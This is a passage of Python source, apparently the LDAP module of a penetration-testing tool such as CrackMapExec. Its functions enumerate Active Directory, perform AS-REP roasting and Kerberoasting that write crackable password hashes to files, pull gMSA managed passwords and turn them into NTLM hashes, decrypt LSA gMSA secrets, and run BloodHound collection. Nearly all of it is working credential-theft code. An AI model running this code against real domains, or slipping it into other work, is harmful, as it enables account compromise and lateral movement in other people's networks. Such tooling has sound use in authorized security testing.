def getUnixTime(self, t):
|
|
t -= 116444736000000000
|
|
t /= 10000000
|
|
return t
|
|
|
|
def search(self, searchFilter, attributes, sizeLimit=0):
|
|
try:
|
|
if self.ldapConnection:
|
|
self.logger.debug('Search Filter=%s' % searchFilter)
|
|
resp = self.ldapConnection.search(
|
|
searchFilter=searchFilter,
|
|
attributes=attributes,
|
|
sizeLimit=sizeLimit
|
|
)
|
|
return resp
|
|
except ldap_impacket.LDAPSearchError as e:
|
|
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
|
self.logger.fail('sizeLimitExceeded exception caught, giving up and processing the data received')
|
|
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
|
# paged queries
|
|
resp = e.getAnswers()
|
|
pass
|
|
else:
|
|
self.logger.fail(e)
|
|
return False
|
|
return False
|
|
|
|
def users(self):
|
|
# Building the search filter
|
|
search_filter = "(sAMAccountType=805306368)"
|
|
attributes = ['sAMAccountName', 'description', 'badPasswordTime', 'badPwdCount', 'pwdLastSet']
|
|
resp = self.search(search_filter, attributes, sizeLimit=0)
|
|
if resp:
|
|
answers = []
|
|
self.logger.display('Total of records returned %d' % len(resp))
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
sAMAccountName = ''
|
|
badPasswordTime = ''
|
|
badPwdCount = 0
|
|
description = ''
|
|
pwdLastSet = ''
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'description':
|
|
description = str(attribute['vals'][0])
|
|
self.logger.highlight('{:<30} {}'.format(sAMAccountName, description))
|
|
except Exception as e:
|
|
self.cme_logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
return
|
|
|
|
def groups(self):
|
|
# Building the search filter
|
|
search_filter = "(objectCategory=group)"
|
|
attributes = ['name']
|
|
resp = self.search(search_filter, attributes, 0)
|
|
if resp:
|
|
answers = []
|
|
self.logger.debug('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
name = ''
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'name':
|
|
name = str(attribute['vals'][0])
|
|
self.logger.highlight('{}'.format(name))
|
|
except Exception as e:
|
|
self.logger.debug("Exception:", exc_info=True)
|
|
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
return
|
|
|
|
def asreproast(self):
|
|
if self.password == '' and self.nthash == '' and self.kerberos == False:
|
|
return False
|
|
# Building the search filter
|
|
search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
|
|
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
|
|
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
|
|
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
|
resp = self.search(search_filter, attributes, 0)
|
|
if resp == []:
|
|
self.logger.highlight("No entries found!")
|
|
elif resp:
|
|
answers = []
|
|
self.logger.display('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
lastLogon = 'N/A'
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
if mustCommit is True:
|
|
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
|
except Exception as e:
|
|
self.logger.debug("Exception:", exc_info=True)
|
|
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
if len(answers)>0:
|
|
for user in answers:
|
|
hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0])
|
|
self.logger.highlight(u'{}'.format(hash_TGT))
|
|
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
|
hash_asreproast.write(hash_TGT + '\n')
|
|
return True
|
|
else:
|
|
self.logger.highlight("No entries found!")
|
|
return
|
|
else:
|
|
self.logger.fail("Error with the LDAP account used")
|
|
|
|
def kerberoasting(self):
|
|
# Building the search filter
|
|
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
|
|
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
|
attributes = ['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
|
resp = self.search(searchFilter, attributes, 0)
|
|
if not resp:
|
|
self.logger.highlight("No entries found!")
|
|
elif resp:
|
|
answers = []
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
SPNs = []
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
lastLogon = 'N/A'
|
|
delegation = ''
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
userAccountControl = str(attribute['vals'][0])
|
|
if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
|
|
delegation = 'unconstrained'
|
|
elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
|
|
delegation = 'constrained'
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'servicePrincipalName':
|
|
for spn in attribute['vals']:
|
|
SPNs.append(str(spn))
|
|
|
|
if mustCommit is True:
|
|
if int(userAccountControl) & UF_ACCOUNTDISABLE:
|
|
self.logger.debug('Bypassing disabled account %s ' % sAMAccountName)
|
|
else:
|
|
for spn in SPNs:
|
|
answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation])
|
|
except Exception as e:
|
|
cme_logger.error('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
|
|
if len(answers)>0:
|
|
self.logger.display('Total of records returned %d' % len(answers))
|
|
TGT = KerberosAttacks(self).getTGT_kerberoasting()
|
|
dejavue = []
|
|
for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers:
|
|
if sAMAccountName not in dejavue:
|
|
downLevelLogonName = self.targetDomain + "\\" + sAMAccountName
|
|
|
|
try:
|
|
principalName = Principal()
|
|
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
|
|
principalName.components = [downLevelLogonName]
|
|
|
|
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.domain,
|
|
self.kdcHost,
|
|
TGT['KDC_REP'], TGT['cipher'],
|
|
TGT['sessionKey'])
|
|
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName)
|
|
self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon))
|
|
self.logger.highlight(u'{}'.format(r))
|
|
with open(self.args.kerberoasting, 'a+') as hash_kerberoasting:
|
|
hash_kerberoasting.write(r + '\n')
|
|
dejavue.append(sAMAccountName)
|
|
except Exception as e:
|
|
self.logger.debug("Exception:", exc_info=True)
|
|
cme_logger.error('Principal: %s - %s' % (downLevelLogonName, str(e)))
|
|
return True
|
|
else:
|
|
self.logger.highlight("No entries found!")
|
|
return
|
|
self.logger.fail("Error with the LDAP account used")
|
|
|
|
def trusted_for_delegation(self):
|
|
# Building the search filter
|
|
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
|
|
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
|
resp = self.search(searchFilter, attributes, 0)
|
|
|
|
answers = []
|
|
self.logger.debug('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
lastLogon = 'N/A'
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
if mustCommit is True:
|
|
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
|
except Exception as e:
|
|
self.logger.debug("Exception:", exc_info=True)
|
|
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
if len(answers)>0:
|
|
self.logger.debug(answers)
|
|
for value in answers:
|
|
self.logger.highlight(value[0])
|
|
else:
|
|
self.logger.fail("No entries found!")
|
|
return
|
|
|
|
def password_not_required(self):
|
|
# Building the search filter
|
|
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)"
|
|
try:
|
|
self.logger.debug('Search Filter=%s' % searchFilter)
|
|
resp = self.ldapConnection.search(searchFilter=searchFilter,
|
|
attributes=['sAMAccountName',
|
|
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
|
|
sizeLimit=0)
|
|
except ldap_impacket.LDAPSearchError as e:
|
|
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
|
self.logger.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
|
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
|
# paged queries
|
|
resp = e.getAnswers()
|
|
pass
|
|
else:
|
|
return False
|
|
answers = []
|
|
self.logger.debug('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
status = 'enabled'
|
|
lastLogon = 'N/A'
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
if int(attribute['vals'][0]) & 2 :
|
|
status = 'disabled'
|
|
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
if mustCommit is True:
|
|
answers.append([sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl, status])
|
|
except Exception as e:
|
|
self.logger.debug("Exception:", exc_info=True)
|
|
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
if len(answers)>0:
|
|
self.logger.debug(answers)
|
|
for value in answers:
|
|
self.logger.highlight("User: " + value[0] + " Status: " + value[5])
|
|
else:
|
|
context.log.fail("No entries found!")
|
|
return
|
|
|
|
def admin_count(self):
|
|
# Building the search filter
|
|
searchFilter = "(adminCount=1)"
|
|
attributes=['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
|
resp = self.search(searchFilter, attributes, 0)
|
|
answers = []
|
|
self.logger.debug('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
lastLogon = 'N/A'
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
if mustCommit is True:
|
|
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
|
except Exception as e:
|
|
self.logger.debug("Exception:", exc_info=True)
|
|
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
if len(answers)>0:
|
|
self.logger.debug(answers)
|
|
for value in answers:
|
|
self.logger.highlight(value[0])
|
|
else:
|
|
context.log.fail("No entries found!")
|
|
return
|
|
|
|
def gmsa(self):
|
|
self.logger.display("Getting GMSA Passwords")
|
|
search_filter = '(objectClass=msDS-GroupManagedServiceAccount)'
|
|
gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter,
|
|
attributes=['sAMAccountName', 'msDS-ManagedPassword','msDS-GroupMSAMembership'],
|
|
sizeLimit=0,
|
|
searchBase=self.baseDN)
|
|
if gmsa_accounts:
|
|
answers = []
|
|
self.logger.debug('Total of records returned %d' % len(gmsa_accounts))
|
|
|
|
for item in gmsa_accounts:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
sAMAccountName = ''
|
|
passwd = ''
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
if str(attribute['type']) == 'msDS-ManagedPassword':
|
|
data = attribute['vals'][0].asOctets()
|
|
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
|
blob.fromString(data)
|
|
currentPassword = blob['CurrentPassword'][:-2]
|
|
ntlm_hash = MD4.new ()
|
|
ntlm_hash.update (currentPassword)
|
|
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
|
self.logger.highlight("Account: {:<20} NTLM: {}".format(sAMAccountName, passwd))
|
|
return True
|
|
|
|
def decipher_gmsa_name(self, domain_name=None, account_name=None):
|
|
# https://aadinternals.com/post/gmsa/
|
|
gmsa_account_name = (domain_name + account_name).upper()
|
|
self.self.cme_logger.debug(f"GMSA name for {gmsa_account_name}")
|
|
bin_account_name = gmsa_account_name.encode("utf-16le")
|
|
bin_hash = hmac.new(bytes('' , 'latin-1'), msg = bin_account_name, digestmod = hashlib.sha256).digest()
|
|
hex_letters = "0123456789abcdef"
|
|
str_hash = ""
|
|
for b in bin_hash:
|
|
str_hash += hex_letters[b & 0x0f]
|
|
str_hash += hex_letters[b >> 0x04]
|
|
self.self.cme_logger.debug(f"Hash2: {str_hash}")
|
|
return str_hash
|
|
|
|
def gmsa_convert_id(self):
|
|
if self.args.gmsa_convert_id:
|
|
if len(self.args.gmsa_convert_id) != 64:
|
|
context.log.fail("Length of the gmsa id not correct :'(")
|
|
else:
|
|
# getting the gmsa account
|
|
search_filter = '(objectClass=msDS-GroupManagedServiceAccount)'
|
|
gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter,
|
|
attributes=['sAMAccountName'],
|
|
sizeLimit=0,
|
|
searchBase=self.baseDN)
|
|
if gmsa_accounts:
|
|
answers = []
|
|
self.logger.debug('Total of records returned %d' % len(gmsa_accounts))
|
|
|
|
for item in gmsa_accounts:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
sAMAccountName = ''
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
if self.decipher_gmsa_name(self.domain.split('.')[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id:
|
|
self.logger.highlight("Account: {:<20} ID: {}".format(sAMAccountName, self.args.gmsa_convert_id))
|
|
break
|
|
else:
|
|
context.log.fail("No string provided :'(")
|
|
|
|
def gmsa_decrypt_lsa(self):
|
|
if self.args.gmsa_decrypt_lsa:
|
|
if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
|
|
gmsa = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
|
|
gmsa_id = gmsa[0]
|
|
gmsa_pass = gmsa[1]
|
|
# getting the gmsa account
|
|
search_filter = '(objectClass=msDS-GroupManagedServiceAccount)'
|
|
gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter,
|
|
attributes=['sAMAccountName'],
|
|
sizeLimit=0,
|
|
searchBase=self.baseDN)
|
|
if gmsa_accounts:
|
|
answers = []
|
|
self.logger.debug('Total of records returned %d' % len(gmsa_accounts))
|
|
|
|
for item in gmsa_accounts:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
sAMAccountName = ''
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
if self.decipher_gmsa_name(self.domain.split('.')[0], sAMAccountName[:-1]) == gmsa_id:
|
|
gmsa_id = sAMAccountName
|
|
break
|
|
# convert to ntlm
|
|
data = bytes.fromhex(gmsa_pass)
|
|
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
|
blob.fromString(data)
|
|
currentPassword = blob['CurrentPassword'][:-2]
|
|
ntlm_hash = MD4.new ()
|
|
ntlm_hash.update (currentPassword)
|
|
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
|
self.logger.highlight("Account: {:<20} NTLM: {}".format(gmsa_id, passwd))
|
|
else:
|
|
context.log.fail("No string provided :'(")
|
|
|
|
def bloodhound(self):
|
|
auth = ADAuthentication(username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method='auto')
|
|
ad = AD(auth=auth, domain=self.domain, nameserver=self.args.nameserver, dns_tcp=False, dns_timeout=3)
|
|
collect = resolve_collection_methods('Default' if not self.args.collection else self.args.collection)
|
|
if not collect:
|
|
return
|
|
self.logger.highlight('Resolved collection methods: %s', ', '.join(list(collect)))
|
|
|
|
self.logger.debug('Using DNS to retrieve domain information')
|
|
ad.dns_resolve(domain=self.domain)
|
|
|
|
if self.args.kerberos:
|
|
self.logger.highlight("Using kerberos auth without ccache, getting TGT")
|
|
auth.get_tgt()
|
|
if self.args.use_kcache:
|
|
self.logger.highlight("Using kerberos auth from ccache")
|
|
|
|
timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_"
|
|
bloodhound = BloodHound(ad, self.hostname, self.host, self.args.port)
|
|
bloodhound.connect()
|
|
|
|
bloodhound.run(
|
|
collect=collect,
|
|
num_workers=10,
|
|
disable_pooling=False,
|
|
timestamp=timestamp,
|
|
computerfile=None,
|
|
cachefile=None,
|
|
exclude_dcs=False
|
|
)
|
|
|
|
self.logger.highlight("Compressing output into " + self.output_filename + "bloodhound.zip")
|
|
list_of_files = os.listdir(os.getcwd())
|
|
with ZipFile(self.output_filename + "bloodhound.zip", 'w') as z:
|
|
for each_file in list_of_files:
|
|
if each_file.startswith(timestamp) and each_file.endswith("json"):
|
|
z.write(each_file)
|
|
os.remove(each_file)
|